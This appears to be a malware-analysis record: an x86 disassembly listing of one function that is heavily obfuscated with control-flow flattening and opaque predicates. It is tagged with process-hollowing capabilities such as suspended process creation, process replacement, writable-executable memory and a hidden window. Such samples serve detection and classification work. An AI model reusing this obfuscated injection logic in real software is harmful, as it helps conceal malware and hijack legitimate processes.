Function at 0x10008800
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Hide graphical window
Parse pe header
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x124
mov eax, dword [0x10074800]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x12c], 0xbddfb4ae
mov eax, dword [ebp - 0x12c]
mov dword [ebp - 0x130], eax
sub eax, 0x80672210
je 0x1000d888
jmp 0x1000883c
mov eax, dword [ebp - 0x130]
sub eax, 0x807211a8
je 0x1000f9ff
jmp 0x10008852
mov eax, dword [ebp - 0x130]
sub eax, 0x807e4e90
je 0x10010e86
jmp 0x10008868
mov eax, dword [ebp - 0x130]
sub eax, 0x80828a30
je 0x10012cef
jmp 0x1000887e
mov eax, dword [ebp - 0x130]
sub eax, 0x80b302ed
je 0x10012ef4
jmp 0x10008894
mov eax, dword [ebp - 0x130]
sub eax, 0x80f60d55
je 0x10010755
jmp 0x100088aa
mov eax, dword [ebp - 0x130]
sub eax, 0x8175fc2d
je 0x10010ec2
jmp 0x100088c0
mov eax, dword [ebp - 0x130]
sub eax, 0x81cd342f
je 0x10014825
jmp 0x100088d6
mov eax, dword [ebp - 0x130]
sub eax, 0x81eda38a
je 0x10015975
jmp 0x100088ec
mov eax, dword [ebp - 0x130]
sub eax, 0x81f31dd4
je 0x10015ddc
jmp 0x10008902
mov eax, dword [ebp - 0x130]
sub eax, 0x82f58fc6
je 0x1000dafa
jmp 0x10008918
mov eax, dword [ebp - 0x130]
sub eax, 0x838372b3
je 0x10012e0d
jmp 0x1000892e
mov eax, dword [ebp - 0x130]
sub eax, 0x838c1a16
je 0x1000db09
jmp 0x10008944
mov eax, dword [ebp - 0x130]
sub eax, 0x83a22269
je 0x1000c711
jmp 0x1000895a
mov eax, dword [ebp - 0x130]
sub eax, 0x84a8fcae
je 0x1001368e
jmp 0x10008970
mov eax, dword [ebp - 0x130]
sub eax, 0x851cb256
je 0x10010b72
jmp 0x10008986
mov eax, dword [ebp - 0x130]
sub eax, 0x851f1c60
je 0x10015ada
jmp 0x1000899c
mov eax, dword [ebp - 0x130]
sub eax, 0x8552e31c
je 0x100141e4
jmp 0x100089b2
mov eax, dword [ebp - 0x130]
sub eax, 0x85bdbff8
je 0x100134e7
jmp 0x100089c8
mov eax, dword [ebp - 0x130]
sub eax, 0x85c1c45e
je 0x10012a72
jmp 0x100089de
mov eax, dword [ebp - 0x130]
sub eax, 0x85fa340b
je 0x10011535
jmp 0x100089f4
mov eax, dword [ebp - 0x130]
sub eax, 0x8645354a
je 0x10013d25
jmp 0x10008a0a
mov eax, dword [ebp - 0x130]
sub eax, 0x871f989d
je 0x10014235
jmp 0x10008a20
mov eax, dword [ebp - 0x130]
sub eax, 0x8735ef81
je 0x100105e9
jmp 0x10008a36
mov eax, dword [ebp - 0x130]
sub eax, 0x878f74d3
je 0x1000da0c
jmp 0x10008a4c
mov eax, dword [ebp - 0x130]
sub eax, 0x87cf1a6b
je 0x1000ca5e
jmp 0x10008a62
mov eax, dword [ebp - 0x130]
sub eax, 0x87dcb17e
je 0x10012139
jmp 0x10008a78
mov eax, dword [ebp - 0x130]
sub eax, 0x87e58ad0
je 0x100112a5
jmp 0x10008a8e
mov eax, dword [ebp - 0x130]
sub eax, 0x88132e71
je 0x10013188
jmp 0x10008aa4
mov eax, dword [ebp - 0x130]
sub eax, 0x8846238e
je 0x1000faef
jmp 0x10008aba
mov eax, dword [ebp - 0x130]
sub eax, 0x88c9f65d
je 0x1000e184
jmp 0x10008ad0
mov eax, dword [ebp - 0x130]
sub eax, 0x89fcf9ec
je 0x1000e105
jmp 0x10008ae6
mov eax, dword [ebp - 0x130]
sub eax, 0x8a1b9fa2
je 0x1000ed06
jmp 0x10008afc
mov eax, dword [ebp - 0x130]
sub eax, 0x8a4c3605
je 0x1000f5ea
jmp 0x10008b12
mov eax, dword [ebp - 0x130]
sub eax, 0x8b6d5e4d
je 0x100121f8
jmp 0x10008b28
mov eax, dword [ebp - 0x130]
sub eax, 0x8b9742fb
je 0x100155f1
jmp 0x10008b3e
mov eax, dword [ebp - 0x130]
sub eax, 0x8c3d29b4
je 0x10015a8b
jmp 0x10008b54
mov eax, dword [ebp - 0x130]
sub eax, 0x8c597053
je 0x100158e9
jmp 0x10008b6a
mov eax, dword [ebp - 0x130]
sub eax, 0x8c65aec0
je 0x10015937
jmp 0x10008b80
mov eax, dword [ebp - 0x130]
sub eax, 0x8c74e5ab
je 0x1001141a
jmp 0x10008b96
mov eax, dword [ebp - 0x130]
sub eax, 0x8c8f3f99
je 0x100157e2
jmp 0x10008bac
mov eax, dword [ebp - 0x130]
sub eax, 0x8c9ef71f
je 0x10011004
jmp 0x10008bc2
mov eax, dword [ebp - 0x130]
sub eax, 0x8ca6fac0
je 0x1000fddd
jmp 0x10008bd8
mov eax, dword [ebp - 0x130]
sub eax, 0x8cbde2d0
je 0x1000d58e
jmp 0x10008bee
mov eax, dword [ebp - 0x130]
sub eax, 0x8d825b17
je 0x10011f73
jmp 0x10008c04
mov eax, dword [ebp - 0x130]
sub eax, 0x8dc3eb3e
je 0x100111e3
jmp 0x10008c1a
mov eax, dword [ebp - 0x130]
sub eax, 0x8e145031
je 0x1001008b
jmp 0x10008c30
mov eax, dword [ebp - 0x130]
sub eax, 0x8e265e04
je 0x10011572
jmp 0x10008c46
mov eax, dword [ebp - 0x130]
sub eax, 0x8e98daaa
je 0x1000f884
jmp 0x10008c5c
mov eax, dword [ebp - 0x130]
sub eax, 0x8f814685
je 0x1000ccd8
jmp 0x10008c72
mov eax, dword [ebp - 0x130]
sub eax, 0x8f949294
je 0x1000ca3f
jmp 0x10008c88
mov eax, dword [ebp - 0x130]
sub eax, 0x8faaf1e6
je 0x100156d9
jmp 0x10008c9e
mov eax, dword [ebp - 0x130]
sub eax, 0x8fcfa802
je 0x1000cd14
jmp 0x10008cb4
mov eax, dword [ebp - 0x130]
sub eax, 0x8fee6bf0
je 0x1000e309
jmp 0x10008cca
mov eax, dword [ebp - 0x130]
sub eax, 0x90295292
je 0x100106d7
jmp 0x10008ce0
mov eax, dword [ebp - 0x130]
sub eax, 0x9092c278
je 0x1000fdce
jmp 0x10008cf6
mov eax, dword [ebp - 0x130]
sub eax, 0x910f6f2e
je 0x100123d7
jmp 0x10008d0c
mov eax, dword [ebp - 0x130]
sub eax, 0x910fc991
je 0x1000f701
jmp 0x10008d22
mov eax, dword [ebp - 0x130]
sub eax, 0x91a995af
je 0x1000ea66
jmp 0x10008d38
mov eax, dword [ebp - 0x130]
sub eax, 0x91dd317b
je 0x1001293d
jmp 0x10008d4e
mov eax, dword [ebp - 0x130]
sub eax, 0x925fbb6c
je 0x10010817
jmp 0x10008d64
mov eax, dword [ebp - 0x130]
sub eax, 0x92c2afc2
je 0x1000dd76
jmp 0x10008d7a
mov eax, dword [ebp - 0x130]
sub eax, 0x93135e3f
je 0x1001583e
jmp 0x10008d90
mov eax, dword [ebp - 0x130]
sub eax, 0x93fd1133
je 0x1000fbb0
jmp 0x10008da6
mov eax, dword [ebp - 0x130]
sub eax, 0x94fcb341
je 0x10010423
movss xmm0, dword [0x100237d8]
movss dword [ebp - 0xf0], xmm0
mov dword [ebp - 0x12c], 0x795ee171
jmp 0x10015f9e
movss xmm0, dword [0x100237d4]
movss dword [ebp - 0xf0], xmm0
mov dword [ebp - 0x12c], 0x87cf1a6b
jmp 0x10015f9e
mov eax, dword [0x10075b28]
mov ecx, dword [0x10075b24]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xcbb7b963
mov ecx, 0x5a4038ee
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x12c], eax
jmp 0x10015f9e
mov dl, 1
mov eax, 0x1442a388
mov ecx, 0x2ce3cc11
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x12c], eax
jmp 0x10015f9e
movss xmm0, dword [0x100237b8]
movss dword [ebp - 0xf0], xmm0
mov dword [ebp - 0x12c], 0x1442a388
jmp 0x10015f9e
movss xmm0, dword [0x100234e0]
movss dword [ebp - 0xf4], xmm0
movss xmm0, dword [0x100234dc]
movss dword [ebp - 0xf4], xmm0
mov ecx, dword [0x10075b28]
mov eax, dword [0x10075b24]
mov edx, ecx
add edx, 0x5c12b0ca
sub edx, 1
sub edx, 0x5c12b0ca
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xf0a45514
mov ecx, 0x44d3455e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x12c], eax
jmp 0x10015f9e
mov dword [ebp - 0x12c], 0x1269306e
jmp 0x10015f9e
movss xmm0, dword [0x10023758]
movss dword [ebp - 0xf8], xmm0
mov dword [ebp - 0x12c], 0x30615597
jmp 0x10015f9e
mov dword [ebp - 0x12c], 0x838c1a16
jmp 0x10015f9e
movss xmm0, dword [0x10023754]
movss dword [ebp - 0xfc], xmm0
movss xmm0, dword [0x10023750]
movss dword [ebp - 0xfc], xmm0
movss xmm0, dword [0x1002374c]
movss dword [ebp - 0xfc], xmm0
mov dword [ebp - 0x12c], 0x24817947
jmp 0x10015f9e
movss xmm0, dword [0x1002373c]
movss dword [ebp - 0xfc], xmm0
mov dword [ebp - 0x12c], 0x9ed93cee
jmp 0x10015f9e
mov dword [ebp - 0x12c], 0xc55d8b4a
jmp 0x10015f9e
mov eax, dword [0x10075b28]
mov ecx, dword [0x10075b24]
mov edx, eax
add edx, 0x80681c08
sub edx, 1
sub edx, 0x80681c08
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xa9e33b06
mov ecx, 0xd9933dcf
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x12c], eax
jmp 0x10015f9e
mov dl, 1
mov eax, 0xc8efa9d7
mov ecx, 0x7957c9a0
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x12c], eax
jmp 0x10015f9e
mov dword [ebp - 0x12c], 0xc8872c66
jmp 0x10015f9e
mov eax, dword [0x10075b28]
mov ecx, dword [0x10075b24]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x44f43991
mov ecx, 0xceb706f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x12c], eax
jmp 0x10015f9e
mov eax, dword [0x10075b28]
mov ecx, dword [0x10075b24]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xbb64a171
mov ecx, 0xe05ed283
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x12c], eax
jmp 0x10015f9e
mov dl, 1
mov eax, 0xa0346767
mov ecx, 0x6ef5eba6
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x12c], eax
jmp 0x10015f9e
movss xmm0, dword [0x1002369c]
movss dword [ebp - 0x10c], xmm0
movss xmm0, dword [0x10023698]
movss dword [ebp - 0x10c], xmm0
mov dword [ebp - 0x12c], 0x3686205c
jmp 0x10015f9e
movss xmm0, dword [0x1002345c]
movss dword [ebp - 0x10c], xmm0
mov ecx, dword [0x10075b28]
mov eax, dword [0x10075b24]
mov edx, ecx
add edx, 0x5ac5bd36
sub edx, 1
sub edx, 0x5ac5bd36
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x8b9742fb
mov ecx, 0xe57724a4
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x12c], eax
jmp 0x10015f9e
movss xmm0, dword [0x1002368c]
movss dword [ebp - 0x10c], xmm0
mov dword [ebp - 0x12c], 0x366c2b7c
jmp 0x10015f9e
mov dl, 1
mov eax, 0xaedc3912
mov ecx, 0xce1466db
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x12c], eax
jmp 0x10015f9e
mov dword [ebp - 0x12c], 0x8ca6fac0
jmp 0x10015f9e
mov eax, dword [0x10075b28]
mov ecx, dword [0x10075b24]
mov edx, eax
add edx, 0x9e670efa
sub edx, 1
sub edx, 0x9e670efa
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x1f2f200c
mov ecx, 0x67fcaa1f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x12c], eax
jmp 0x10015f9e
movss xmm0, dword [0x10023678]
movss dword [ebp - 0x110], xmm0
mov dword [ebp - 0x12c], 0xb5f3e4db
jmp 0x10015f9e
movss xmm0, dword [0x10023434]
movss dword [ebp - 0x114], xmm0
movss xmm0, dword [0x10023430]
movss dword [ebp - 0x114], xmm0
mov ecx, dword [0x10075b28]
mov eax, dword [0x10075b24]
mov edx, ecx
sub edx, 0x5fcee88e
sub edx, 1
add edx, 0x5fcee88e
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xbed873ce
mov ecx, 0x75d54f23
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x12c], eax
jmp 0x10015f9e
movss xmm0, dword [0x1002342c]
movss dword [ebp - 0x114], xmm0
mov eax, dword [0x10075b28]
mov ecx, dword [0x10075b24]
mov edx, eax
sub edx, 0x9d5fd98a
sub edx, 1
add edx, 0x9d5fd98a
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xf9df72cb
mov ecx, 0x6978e07e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x12c], eax
jmp 0x10015f9e
mov eax, dword [0x10075b28]
mov ecx, dword [0x10075b24]
mov edx, eax
add edx, 0xbec01911
sub edx, 1
sub edx, 0xbec01911
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xc6bcc066
mov ecx, 0xcd30102f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x12c], eax
jmp 0x10015f9e
mov dword [ebp - 0x12c], 0x39803965
jmp 0x10015f9e
movss xmm0, dword [0x10023418]
movss dword [ebp - 0x114], xmm0
mov ecx, dword [0x10075b28]
mov eax, dword [0x10075b24]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x2c449631
mov ecx, 0xf883fa83
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x12c], eax
jmp 0x10015f9e
mov dl, 1
mov eax, 0xee6dc092
mov ecx, 0x4cd695bb
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x12c], eax
jmp 0x10015f9e
mov ecx, dword [0x10075b28]
mov eax, dword [0x10075b24]
mov edx, ecx
sub edx, 0xdd5d9e9d
sub edx, 1
add edx, 0xdd5d9e9d
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x93135e3f
mov ecx, 0x4584b6b5
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x12c], eax
jmp 0x10015f9e
movss xmm0, dword [0x1002362c]
movss dword [ebp - 0x118], xmm0
mov dword [ebp - 0x12c], 0x1d4d09a1
jmp 0x10015f9e
mov ecx, dword [0x10075b28]
mov eax, dword [0x10075b24]
mov edx, ecx
sub edx, 0x6132934b
sub edx, 1
add edx, 0x6132934b
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x61a3d642
mov ecx, 0xe1bf964a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x12c], eax
jmp 0x10015f9e
mov dword [ebp - 0x12c], 0xa1753ff5
jmp 0x10015f9e
movss xmm0, dword [0x1002360c]
movss dword [ebp - 0x118], xmm0
mov dword [ebp - 0x12c], 0x413806d4
jmp 0x10015f9e
mov dword [ebp - 0x12c], 0xe1bc7980
jmp 0x10015f9e
mov eax, dword [0x10075b28]
mov ecx, dword [0x10075b24]
mov edx, eax
add edx, 0x130f1750
sub edx, 1
sub edx, 0x130f1750
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x8c597053
mov ecx, 0xe73041f7
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x12c], eax
jmp 0x10015f9e
movss xmm0, dword [0x100235d8]
movss dword [ebp - 0x120], xmm0
mov dword [ebp - 0x12c], 0xb305b181
jmp 0x10015f9e
mov eax, dword [0x10075b28]
mov ecx, dword [0x10075b24]
mov edx, eax
sub edx, 0x86b4cf16
sub edx, 1
add edx, 0x86b4cf16
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xeb9901b
mov ecx, 0xaac329ab
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x12c], eax
jmp 0x10015f9e
movss xmm0, dword [0x100233d0]
movss dword [ebp - 0x120], xmm0
mov eax, dword [0x10075b28]
mov ecx, dword [0x10075b24]
mov edx, eax
sub edx, 0xdcb0c014
sub edx, 1
add edx, 0xdcb0c014
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xc9d575e9
mov ecx, 0xf552a9b4
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x12c], eax
jmp 0x10015f9e
movss xmm0, dword [0x100235a0]
movss dword [ebp - 0x124], xmm0
mov dword [ebp - 0x12c], 0x21d590e3
jmp 0x10015f9e
mov dword [ebp - 0x12c], 0xa5f838f9
jmp 0x10015f9e
mov eax, dword [0x10075b28]
mov ecx, dword [0x10075b24]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xcff0cd5f
mov ecx, 0xbab66bb4
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x12c], eax
jmp 0x10015f9e
mov dl, 1
mov eax, 0x838372b3
mov ecx, 0x29689ef2
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x12c], eax
jmp 0x10015f9e
mov eax, dword [ebp - 0xec]
movss xmm0, dword [0x10023518]
movss dword [eax], xmm0
mov dword [ebp - 0x12c], 0xf0d2d811
jmp 0x10015f9e
mov eax, dword [0x10075b28]
mov ecx, dword [0x10075b24]
mov edx, eax
sub edx, 0x7ef066f6
sub edx, 1
add edx, 0x7ef066f6
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xf9de9c1a
mov ecx, 0xbc030438
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x12c], eax
jmp 0x10015f9e
mov eax, dword [0x10075b28]
mov ecx, dword [0x10075b24]
mov edx, eax
add edx, 0x3d24e272
sub edx, 1
sub edx, 0x3d24e272
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x1ebf07bc
mov ecx, 0x33777669
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x12c], eax
jmp 0x10015f9e
mov eax, dword [ebp - 0xd8]
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x10
call fcn.100174c0
add esp, 0xc
mov eax, dword [ebp - 0xd4]
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x44
call fcn.100174c0
add esp, 0xc
mov eax, dword [ebp - 0xdc]
mov eax, dword [eax]
add eax, 0x18
add eax, 0x60
add eax, 0x70
mov dword [ebp - 0x80], eax
mov dword [ebp - 0x12c], 0xece29c3c
jmp 0x10015f9e
mov eax, dword [0x10075b28]
mov ecx, dword [0x10075b24]
mov edx, eax
add edx, 0x6e8fed00
sub edx, 1
sub edx, 0x6e8fed00
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xef989796
mov ecx, 0xaa5bb2a9
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x12c], eax
jmp 0x10015f9e
mov eax, dword [0x10075b28]
mov ecx, dword [0x10075b24]
mov edx, eax
add edx, 0x678f1002
sub edx, 1
sub edx, 0x678f1002
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x43c30a76
mov ecx, 0x26f64cf8
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x12c], eax
jmp 0x10015f9e
mov eax, dword [0x10075b28]
mov ecx, dword [0x10075b24]
mov edx, eax
sub edx, 0x3bdf802c
sub edx, 1
add edx, 0x3bdf802c
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x81f31dd4
mov ecx, 0x871f989d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x12c], eax
jmp 0x10015f9e
mov ecx, dword [ebp - 0x38]
sub ecx, 0x4ec8589e
add ecx, 1
add ecx, 0x4ec8589e
mov eax, dword [ebp - 0xac]
mov dword [eax], ecx
mov ecx, dword [0x10075b28]
mov eax, dword [0x10075b24]
mov edx, ecx
add edx, 0x259aa878
sub edx, 1
sub edx, 0x259aa878
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x81f31dd4
mov ecx, 0x3e93f27b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x12c], eax
jmp 0x10015f9e
mov dword [ebp - 0x12c], 0x269d057e
jmp 0x10015f9e
movss xmm0, dword [0x1002345c]
movss dword [ebp - 0x10c], xmm0
mov dword [ebp - 0x12c], 0x807211a8
jmp 0x10015f9e
movss xmm0, dword [0x10023440]
movss dword [ebp - 0x110], xmm0
movss xmm0, dword [0x1002343c]
movss dword [ebp - 0x110], xmm0
mov dword [ebp - 0x12c], 0x72315302
jmp 0x10015f9e
mov dword [ebp - 0x12c], 0x5af19840
jmp 0x10015f9e
movss xmm0, dword [0x10023410]
movss dword [ebp - 0x114], xmm0
mov dword [ebp - 0x12c], 0x4584b6b5
jmp 0x10015f9e
movss xmm0, dword [0x100233f8]
movss dword [ebp - 0x11c], xmm0
movss xmm0, dword [0x100233f4]
movss dword [ebp - 0x11c], xmm0
mov dword [ebp - 0x12c], 0xe73041f7
jmp 0x10015f9e
movss xmm0, dword [0x100233ec]
movss dword [ebp - 0x11c], xmm0
mov dword [ebp - 0x12c], 0x359ec32
jmp 0x10015f9e
mov dword [ebp - 0x12c], 0x55450687
jmp 0x10015f9e
movss xmm0, dword [0x100233c4]
movss dword [ebp - 0x128], xmm0
mov dword [ebp - 0x12c], 0xd62a1275
jmp 0x10015f9e
mov eax, dword [ebp - 0xec]
movss xmm0, dword [0x100233bc]
movss dword [eax], xmm0
mov dword [ebp - 0x12c], 0xc5ad0081
jmp 0x10015f9e
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x38]
mov ecx, dword [ebp - 0x38]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, 1
add eax, ecx
xor ecx, ecx
sub ecx, eax
mov eax, dword [ebp - 0xac]
mov dword [eax], ecx
mov dword [ebp - 0x12c], 0x871f989d
jmp 0x10015f9e
jmp 0x10008820